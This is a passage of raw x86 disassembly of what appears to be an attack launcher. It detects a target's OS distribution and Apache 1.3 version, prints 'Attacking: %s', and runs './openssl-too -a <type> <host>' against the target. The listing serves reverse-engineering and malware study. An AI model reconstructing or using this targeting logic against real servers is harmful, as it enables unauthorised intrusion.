jmp 08048fef 08048c44 sub $0x8,%esp 08048c47 pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048c4a push $0x80494a0 08048c4f call 08048660 <_init+0x100> 08048c54 add $0x10,%esp 08048c57 sub $0x4,%esp 08048c5a pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x0a %s" 08048c5d push $0x8049585 08048c62 lea 0xfffffef8(%ebp),%eax 08048c68 push %eax 08048c69 call 080486d0 <_init+0x170> 08048c6e add $0x10,%esp 08048c71 sub $0xc,%esp 08048c74 lea 0xfffffef8(%ebp),%eax 08048c7a push %eax 08048c7b call 080485e0 <_init+0x80> 08048c80 add $0x10,%esp 08048c83 jmp 08048fef 08048c88 sub $0x8,%esp 08048c8b pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048c8e push $0x80494a0 08048c93 call 08048660 <_init+0x100> 08048c98 add $0x10,%esp 08048c9b sub $0x4,%esp 08048c9e pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x0b %s" 08048ca1 push $0x804959f 08048ca6 lea 0xfffffef8(%ebp),%eax 08048cac push %eax 08048cad call 080486d0 <_init+0x170> 08048cb2 add $0x10,%esp 08048cb5 sub $0xc,%esp 08048cb8 lea 0xfffffef8(%ebp),%eax 08048cbe push %eax 08048cbf call 080485e0 <_init+0x80> 08048cc4 add $0x10,%esp 08048cc7 jmp 08048fef 08048ccc mov 0x8(%ebp),%eax 08048ccf sub $0xc,%eax 08048cd2 mov %eax,0xfffffef0(%ebp) 08048cd8 cmpl $0xb,0xfffffef0(%ebp) 08048cdf ja 08048fef 08048ce5 mov 0xfffffef0(%ebp),%edx 08048ceb mov 0x8049740(,%edx,4),%eax 08048cf2 jmp *%eax 08048cf4 sub $0x8,%esp 08048cf7 pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048cfa push $0x80494a0 08048cff call 08048660 <_init+0x100> 08048d04 add $0x10,%esp 08048d07 sub $0x4,%esp 08048d0a pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x0c %s" 08048d0d push $0x80495b9 08048d12 lea 0xfffffef8(%ebp),%eax 08048d18 push %eax 08048d19 call 080486d0 <_init+0x170> 08048d1e add $0x10,%esp 08048d21 sub $0xc,%esp 08048d24 lea 0xfffffef8(%ebp),%eax 08048d2a push %eax 08048d2b call 080485e0 <_init+0x80> 08048d30 add $0x10,%esp 08048d33 jmp 08048fef 08048d38 sub $0x8,%esp 08048d3b pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048d3e push $0x80494a0 08048d43 call 08048660 <_init+0x100> 08048d48 add $0x10,%esp 08048d4b sub $0x4,%esp 08048d4e pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x0d %s" 08048d51 push $0x80495d3 08048d56 lea 0xfffffef8(%ebp),%eax 08048d5c push %eax 08048d5d call 080486d0 <_init+0x170> 08048d62 add $0x10,%esp 08048d65 sub $0xc,%esp 08048d68 lea 0xfffffef8(%ebp),%eax 08048d6e push %eax 08048d6f call 080485e0 <_init+0x80> 08048d74 add $0x10,%esp 08048d77 jmp 08048fef 08048d7c sub $0x8,%esp 08048d7f pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048d82 push $0x80494a0 08048d87 call 08048660 <_init+0x100> 08048d8c add $0x10,%esp 08048d8f sub $0x4,%esp 08048d92 pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x0e %s" 08048d95 push $0x80495ed 08048d9a lea 0xfffffef8(%ebp),%eax 08048da0 push %eax 08048da1 call 080486d0 <_init+0x170> 08048da6 add $0x10,%esp 08048da9 sub $0xc,%esp 08048dac lea 0xfffffef8(%ebp),%eax 08048db2 push %eax 08048db3 call 080485e0 <_init+0x80> 08048db8 add $0x10,%esp 08048dbb jmp 08048fef 08048dc0 sub $0x8,%esp 08048dc3 pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048dc6 push $0x80494a0 08048dcb call 08048660 <_init+0x100> 08048dd0 add $0x10,%esp 08048dd3 sub $0x4,%esp 08048dd6 pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x0f %s" 08048dd9 push $0x8049607 08048dde lea 0xfffffef8(%ebp),%eax 08048de4 push %eax 08048de5 call 080486d0 <_init+0x170> 08048dea add $0x10,%esp 08048ded sub $0xc,%esp 08048df0 lea 0xfffffef8(%ebp),%eax 08048df6 push %eax 08048df7 call 080485e0 <_init+0x80> 08048dfc add $0x10,%esp 08048dff jmp 08048fef 08048e04 sub $0x8,%esp 08048e07 pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048e0a push $0x80494a0 08048e0f call 08048660 <_init+0x100> 08048e14 add $0x10,%esp 08048e17 sub $0x4,%esp 08048e1a pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x10 %s" 08048e1d push $0x8049621 08048e22 lea 0xfffffef8(%ebp),%eax 08048e28 push %eax 08048e29 call 080486d0 <_init+0x170> 08048e2e add $0x10,%esp 08048e31 sub $0xc,%esp 08048e34 lea 0xfffffef8(%ebp),%eax 08048e3a push %eax 08048e3b call 080485e0 <_init+0x80> 08048e40 add $0x10,%esp 08048e43 jmp 08048fef 08048e48 mov 0x8(%ebp),%eax 08048e4b mov %eax,0xfffffeec(%ebp) 08048e51 cmpl $0x13,0xfffffeec(%ebp) 08048e58 je 08048ed8 08048e5a cmpl $0x13,0xfffffeec(%ebp) 08048e61 jg 08048e74 08048e63 cmpl $0xe,0xfffffeec(%ebp) 08048e6a je 08048e94 08048e6c jmp 08048fef 08048e71 lea 0x0(%esi),%esi Referenced from jump at 08048e61 ; 08048e74 cmpl $0x14,0xfffffeec(%ebp) 08048e7b je 08048f1c 08048e81 cmpl $0x17,0xfffffeec(%ebp) 08048e88 je 08048f60 08048e8e jmp 08048fef 08048e93 nop Referenced from jump at 08048e6a ; 08048e94 sub $0x8,%esp 08048e97 pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048e9a push $0x80494a0 08048e9f call 08048660 <_init+0x100> 08048ea4 add $0x10,%esp 08048ea7 sub $0x4,%esp 08048eaa pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x12 %s" 08048ead push $0x804963b 08048eb2 lea 0xfffffef8(%ebp),%eax 08048eb8 push %eax 08048eb9 call 080486d0 <_init+0x170> 08048ebe add $0x10,%esp 08048ec1 sub $0xc,%esp 08048ec4 lea 0xfffffef8(%ebp),%eax 08048eca push %eax 08048ecb call 080485e0 <_init+0x80> 08048ed0 add $0x10,%esp 08048ed3 jmp 08048fef Referenced from jump at 08048e58 ; 08048ed8 sub $0x8,%esp 08048edb pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048ede push $0x80494a0 08048ee3 call 08048660 <_init+0x100> 08048ee8 add $0x10,%esp 08048eeb sub $0x4,%esp 08048eee pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x13 %s" 08048ef1 push $0x8049655 08048ef6 lea 0xfffffef8(%ebp),%eax 08048efc push %eax 08048efd call 080486d0 <_init+0x170> 08048f02 add $0x10,%esp 08048f05 sub $0xc,%esp 08048f08 lea 0xfffffef8(%ebp),%eax 08048f0e push %eax 08048f0f call 080485e0 <_init+0x80> 08048f14 add $0x10,%esp 08048f17 jmp 08048fef Referenced from jump at 08048e7b ; 08048f1c sub $0x8,%esp 08048f1f pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048f22 push $0x80494a0 08048f27 call 08048660 <_init+0x100> 08048f2c add $0x10,%esp 08048f2f sub $0x4,%esp 08048f32 pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x14 %s" 08048f35 push $0x804966f 08048f3a lea 0xfffffef8(%ebp),%eax 08048f40 push %eax 08048f41 call 080486d0 <_init+0x170> 08048f46 add $0x10,%esp 08048f49 sub $0xc,%esp 08048f4c lea 0xfffffef8(%ebp),%eax 08048f52 push %eax 08048f53 call 080485e0 <_init+0x80> 08048f58 add $0x10,%esp 08048f5b jmp 08048fef Referenced from jump at 08048e88 ; 08048f60 sub $0x8,%esp 08048f63 pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048f66 push $0x80494a0 08048f6b call 08048660 <_init+0x100> 08048f70 add $0x10,%esp 08048f73 sub $0x4,%esp 08048f76 pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x15 %s" 08048f79 push $0x8049689 08048f7e lea 0xfffffef8(%ebp),%eax 08048f84 push %eax 08048f85 call 080486d0 <_init+0x170> 08048f8a add $0x10,%esp 08048f8d sub $0xc,%esp 08048f90 lea 0xfffffef8(%ebp),%eax 08048f96 push %eax 08048f97 call 080485e0 <_init+0x80> 08048f9c add $0x10,%esp 08048f9f jmp 08048fef 08048fa1 lea 0x0(%esi),%esi 08048fa4 mov 0x8(%ebp),%eax 08048fa7 cmp $0x1a,%eax 08048faa je 08048fb0 08048fac jmp 08048fef 08048fae mov %esi,%esi Referenced from jump at 08048faa ; 08048fb0 sub $0x8,%esp 08048fb3 pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048fb6 push $0x80494a0 08048fbb call 08048660 <_init+0x100> 08048fc0 add $0x10,%esp 08048fc3 sub $0x4,%esp 08048fc6 pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x03 %s" 08048fc9 push $0x80496a3 08048fce lea 0xfffffef8(%ebp),%eax 08048fd4 push %eax 08048fd5 call 080486d0 <_init+0x170> 08048fda add $0x10,%esp 08048fdd sub $0xc,%esp 08048fe0 lea 0xfffffef8(%ebp),%eax 08048fe6 push %eax 08048fe7 call 080485e0 <_init+0x80> 08048fec add $0x10,%esp Referenced from jump at 08048a08 ; 08048a28 ; 08048a6f ; 08048a7c ; 08048ac3 ; 08048adb ; 08048b2f ; 08048b73 ; 08048bb7 ; 08048bfb ; 08048c3f ; 08048c83 ; 08048cc7 ; 08048cdf ; 08048d33 ; 08048d77 ; 08048dbb ; 08048dff ; 08048e43 ; 08048e6c ; 08048e8e ; 08048ed3 ; 08048f17 ; 08048f5b ; 08048f9f ; 08048fac ; 08048fef mov $0x0,%eax 08048ff4 leave 08048ff5 ret 08048ff6 mov %esi,%esi ---- Function : getOS ---- Referenced from call at 0804890e ; 08048ff8 push %ebp 08048ff9 mov %esp,%ebp 08048ffb sub $0x48,%esp 08048ffe sub $0x8,%esp Possible reference to string: "win32" 08049001 push $0x8049770 08049006 pushl 0x8(%ebp) 08049009 call 08048620 <_init+0xc0> 0804900e add $0x10,%esp 08049011 mov %eax,0xfffffffc(%ebp) 08049014 mov 0xfffffffc(%ebp),%eax 08049017 test %eax,%eax 08049019 je 08049028 0804901b mov $0x1,%eax 08049020 jmp 0804923d 08049025 lea 0x0(%esi),%esi Referenced from jump at 08049019 ; 08049028 sub $0x8,%esp Possible reference to string: "gentoo" 0804902b push $0x8049776 08049030 pushl 0x8(%ebp) 08049033 call 08048620 <_init+0xc0> 08049038 add $0x10,%esp 0804903b mov %eax,0xfffffff8(%ebp) 0804903e mov 0xfffffff8(%ebp),%eax 08049041 test %eax,%eax 08049043 je 08049050 08049045 mov $0x2,%eax 0804904a jmp 0804923d 0804904f nop Referenced from jump at 08049043 ; 08049050 sub $0x8,%esp Possible reference to string: "debian" 08049053 push $0x804977d 08049058 pushl 0x8(%ebp) 0804905b call 08048620 <_init+0xc0> 08049060 add $0x10,%esp 08049063 mov %eax,0xfffffff4(%ebp) 08049066 mov 0xfffffff4(%ebp),%eax 08049069 test %eax,%eax 0804906b jne 0804908c 0804906d sub $0x8,%esp Possible reference to string: "woody" 08049070 push $0x8049784 08049075 pushl 0x8(%ebp) 08049078 call 08048620 <_init+0xc0> 0804907d add $0x10,%esp 08049080 mov %eax,0xfffffff0(%ebp) 08049083 mov 0xfffffff0(%ebp),%eax 08049086 test %eax,%eax 08049088 jne 0804908c 0804908a jmp 08049098 Referenced from jump at 0804906b ; 08049088 ; 0804908c mov $0x3,%eax 08049091 jmp 0804923d 08049096 mov %esi,%esi Referenced from jump at 0804908a ; 08049098 sub $0x8,%esp Possible reference to string: "red-hat" 0804909b push $0x804978a 080490a0 pushl 0x8(%ebp) 080490a3 call 08048620 <_init+0xc0> 080490a8 add $0x10,%esp 080490ab mov %eax,0xffffffec(%ebp) 080490ae mov 0xffffffec(%ebp),%eax 080490b1 test %eax,%eax 080490b3 jne 080490f4 080490b5 sub $0x8,%esp Possible reference to string: "redhat" 080490b8 push $0x8049792 080490bd pushl 0x8(%ebp) 080490c0 call 08048620 <_init+0xc0> 080490c5 add $0x10,%esp 080490c8 mov %eax,0xffffffe8(%ebp) 080490cb mov 0xffffffe8(%ebp),%eax 080490ce test %eax,%eax 080490d0 jne 080490f4 080490d2 sub $0x8,%esp Possible reference to string: "red hat" 080490d5 push $0x8049799 080490da pushl 0x8(%ebp) 080490dd call 08048620 <_init+0xc0> 080490e2 add $0x10,%esp 080490e5 mov %eax,0xffffffe4(%ebp) 080490e8 mov 0xffffffe4(%ebp),%eax 080490eb test %eax,%eax 080490ed jne 080490f4 080490ef jmp 08049100 080490f1 lea 0x0(%esi),%esi Referenced from jump at 080490b3 ; 080490d0 ; 080490ed ; 080490f4 mov $0x4,%eax 080490f9 jmp 0804923d 080490fe mov %esi,%esi Referenced from jump at 080490ef ; 08049100 sub $0x8,%esp Possible reference to string: "suse" 08049103 push $0x80497a1 08049108 pushl 0x8(%ebp) 0804910b call 08048620 <_init+0xc0> 08049110 add $0x10,%esp 08049113 mov %eax,0xffffffe0(%ebp) 08049116 mov 0xffffffe0(%ebp),%eax 08049119 test %eax,%eax 0804911b je 08049128 0804911d mov $0x5,%eax 08049122 jmp 0804923d 08049127 nop Referenced from jump at 0804911b ; 08049128 sub $0x8,%esp Possible reference to string: "mandrake" 0804912b push $0x80497a6 08049130 pushl 0x8(%ebp) 08049133 call 08048620 <_init+0xc0> 08049138 add $0x10,%esp 0804913b mov %eax,0xffffffdc(%ebp) 0804913e mov 0xffffffdc(%ebp),%eax 08049141 test %eax,%eax 08049143 jne 08049164 08049145 sub $0x8,%esp Possible reference to string: "mdk" 08049148 push $0x80497af 0804914d pushl 0x8(%ebp) 08049150 call 08048620 <_init+0xc0> 08049155 add $0x10,%esp 08049158 mov %eax,0xffffffd8(%ebp) 0804915b mov 0xffffffd8(%ebp),%eax 0804915e test %eax,%eax 08049160 jne 08049164 08049162 jmp 08049170 Referenced from jump at 08049143 ; 08049160 ; 08049164 mov $0x6,%eax 08049169 jmp 0804923d 0804916e mov %esi,%esi Referenced from jump at 08049162 ; 08049170 sub $0x8,%esp Possible reference to string: "slackware" 08049173 push $0x80497b3 08049178 pushl 0x8(%ebp) 0804917b call 08048620 <_init+0xc0> 08049180 add $0x10,%esp 08049183 mov %eax,0xffffffd4(%ebp) 08049186 mov 0xffffffd4(%ebp),%eax 08049189 test %eax,%eax 0804918b jne 080491cc 0804918d sub $0x8,%esp Possible reference to string: "slack-ware" 08049190 push $0x80497bd 08049195 pushl 0x8(%ebp) 08049198 call 08048620 <_init+0xc0> 0804919d add $0x10,%esp 080491a0 mov %eax,0xffffffd0(%ebp) 080491a3 mov 0xffffffd0(%ebp),%eax 080491a6 test %eax,%eax 080491a8 jne 080491cc 080491aa sub $0x8,%esp Possible reference to string: "slack ware" 080491ad push $0x80497c8 080491b2 pushl 0x8(%ebp) 080491b5 call 08048620 <_init+0xc0> 080491ba add $0x10,%esp 080491bd mov %eax,0xffffffcc(%ebp) 080491c0 mov 0xffffffcc(%ebp),%eax 080491c3 test %eax,%eax 080491c5 jne 080491cc 080491c7 jmp 080491d4 080491c9 lea 0x0(%esi),%esi Referenced from jump at 0804918b ; 080491a8 ; 080491c5 ; 080491cc mov $0x7,%eax 080491d1 jmp 0804923d 080491d3 nop Referenced from jump at 080491c7 ; 080491d4 sub $0x8,%esp Possible reference to string: "freebsd" 080491d7 push $0x80497d3 080491dc pushl 0x8(%ebp) 080491df call 08048620 <_init+0xc0> 080491e4 add $0x10,%esp 080491e7 mov %eax,0xffffffc8(%ebp) 080491ea mov 0xffffffc8(%ebp),%eax 080491ed test %eax,%eax 080491ef jne 08049230 080491f1 sub $0x8,%esp Possible reference to string: "free-bsd" 080491f4 push $0x80497db 080491f9 pushl 0x8(%ebp) 080491fc call 08048620 <_init+0xc0> 08049201 add $0x10,%esp 08049204 mov %eax,0xffffffc4(%ebp) 08049207 mov 0xffffffc4(%ebp),%eax 0804920a test %eax,%eax 0804920c jne 08049230 0804920e sub $0x8,%esp Possible reference to string: "free bsd" 08049211 push $0x80497e4 08049216 pushl 0x8(%ebp) 08049219 call 08048620 <_init+0xc0> 0804921e add $0x10,%esp 08049221 mov %eax,0xffffffc0(%ebp) 08049224 mov 0xffffffc0(%ebp),%eax 08049227 test %eax,%eax 08049229 jne 08049230 0804922b jmp 08049238 0804922d lea 0x0(%esi),%esi Referenced from jump at 080491ef ; 0804920c ; 08049229 ; 08049230 mov $0x8,%eax 08049235 jmp 0804923d 08049237 nop Referenced from jump at 0804922b ; 08049238 mov $0x0,%eax Referenced from jump at 08049020 ; 0804904a ; 08049091 ; 080490f9 ; 08049122 ; 08049169 ; 080491d1 ; 08049235 ; 0804923d leave 0804923e ret 0804923f nop ---- Function : getVer ---- Referenced from call at 080488e6 ; 08049240 push %ebp 08049241 mov %esp,%ebp 08049243 sub $0x18,%esp 08049246 sub $0x8,%esp Possible reference to string: "apache" 08049249 push $0x80497ed 0804924e pushl 0x8(%ebp) 08049251 call 08048620 <_init+0xc0> 08049256 add $0x10,%esp 08049259 mov %eax,0xfffffff8(%ebp) 0804925c mov 0xfffffff8(%ebp),%eax 0804925f test %eax,%eax 08049261 jne 0804926c 08049263 mov $0xffffffff,%eax 08049268 jmp 080492b0 0804926a mov %esi,%esi Referenced from jump at 08049261 ; 0804926c sub $0x8,%esp Possible reference to string: "1.3." 0804926f push $0x80497f4 08049274 pushl 0x8(%ebp) 08049277 call 08048620 <_init+0xc0> 0804927c add $0x10,%esp 0804927f mov %eax,0xfffffff4(%ebp) 08049282 mov 0xfffffff4(%ebp),%eax 08049285 mov %eax,0xfffffffc(%ebp) 08049288 cmpl $0x0,0xfffffffc(%ebp) 0804928c jne 08049298 0804928e mov $0xffffffff,%eax 08049293 jmp 080492b0 08049295 lea 0x0(%esi),%esi Referenced from jump at 0804928c ; 08049298 sub $0xc,%esp 0804929b mov 0xfffffffc(%ebp),%eax 0804929e add $0x4,%eax 080492a1 push %eax 080492a2 call 080486a0 <_init+0x140> 080492a7 add $0x10,%esp 080492aa mov %eax,0xfffffff0(%ebp) 080492ad mov 0xfffffff0(%ebp),%eax Referenced from jump at 08049268 ; 08049293 ; 080492b0 leave 080492b1 ret 080492b2 mov %esi,%esi ---- Function : isip ---- Referenced from call at 08048991 ; 080492b4 push %ebp 080492b5 mov %esp,%ebp 080492b7 sub $0x18,%esp 080492ba sub $0xc,%esp 080492bd pushl 0x8(%ebp) 080492c0 call 08048640 <_init+0xe0> 080492c5 add $0x10,%esp 080492c8 mov %eax,0xfffffffc(%ebp) 080492cb sub $0xc,%esp 080492ce pushl 0xfffffffc(%ebp) 080492d1 call 080485f0 <_init+0x90> 080492d6 add $0x10,%esp 080492d9 mov %eax,0xfffffff4(%ebp) 080492dc sub $0x8,%esp 080492df pushl 0xfffffff4(%ebp) 080492e2 pushl 0x8(%ebp) 080492e5 call 080485c0 <_init+0x60> 080492ea add $0x10,%esp 080492ed mov %eax,0xfffffff0(%ebp) 080492f0 mov 0xfffffff0(%ebp),%eax 080492f3 mov %eax,0xfffffff8(%ebp) 080492f6 cmpl $0x0,0xfffffff8(%ebp) 080492fa sete 0xfffffff8(%ebp) 080492fe movzbl 0xfffffff8(%ebp),%eax 08049302 mov %eax,0xfffffff8(%ebp) 08049305 mov 0xfffffff8(%ebp),%eax 08049308 leave 08049309 ret 0804930a nop 0804930b nop 0804930c nop 0804930d nop 0804930e nop 0804930f nop ---- Function : __do_global_ctors_aux ---- 08049310 <__do_global_ctors_aux> push %ebp 08049311 <__do_global_ctors_aux+0x1> mov 0x804a810,%eax 08049316 <__do_global_ctors_aux+0x6> mov %esp,%ebp 08049318 <__do_global_ctors_aux+0x8> push %ebx 08049319 <__do_global_ctors_aux+0x9> sub $0x4,%esp 0804931c <__do_global_ctors_aux+0xc> cmp $0xffffffff,%eax 0804931f <__do_global_ctors_aux+0xf> mov $0x804a810,%ebx 08049324 <__do_global_ctors_aux+0x14> je 0804933c <__do_global_ctors_aux+0x2c> 08049326 <__do_global_ctors_aux+0x16> lea 0x0(%esi),%esi 08049329 <__do_global_ctors_aux+0x19> lea 0x0(%edi,1),%edi Referenced from jump at 0804933a ; 08049330 <__do_global_ctors_aux+0x20> sub $0x4,%ebx 08049333 <__do_global_ctors_aux+0x23> call *%eax 08049335 <__do_global_ctors_aux+0x25> mov (%ebx),%eax 08049337 <__do_global_ctors_aux+0x27> cmp $0xffffffff,%eax 0804933a <__do_global_ctors_aux+0x2a> jne 08049330 <__do_global_ctors_aux+0x20> Referenced from jump at 08049324 ; 0804933c <__do_global_ctors_aux+0x2c> pop %eax 0804933d <__do_global_ctors_aux+0x2d> pop %ebx 0804933e <__do_global_ctors_aux+0x2e> pop %ebp 0804933f <__do_global_ctors_aux+0x2f> ret ---- Function : init_dummy ---- 08049340 push %ebp 08049341 mov %esp,%ebp 08049343 sub $0x8,%esp 08049346 mov %ebp,%esp 08049348 pop %ebp 08049349 ret 0804934a nop 0804934b nop Disassembly of section .fini: ---- Function : _fini ---- 0804934c <_fini> push %ebp 0804934d <_fini+0x1> mov %esp,%ebp 0804934f <_fini+0x3> push %ebx 08049350 <_fini+0x4> push %edx 08049351 <_fini+0x5> call 08049356 Referenced from call at 08049351 ; 08049356 <_fini+0xa> pop %ebx 08049357 <_fini+0xb> add $0x14ca,%ebx 0804935d <_fini+0x11> lea 0x0(%esi),%esi 08049360 <_fini+0x14> call 08048710 <__do_global_dtors_aux> 08049365 <_fini+0x19> mov 0xfffffffc(%ebp),%ebx 08049368 <_fini+0x1c> leave 08049369 <_fini+0x1d> ret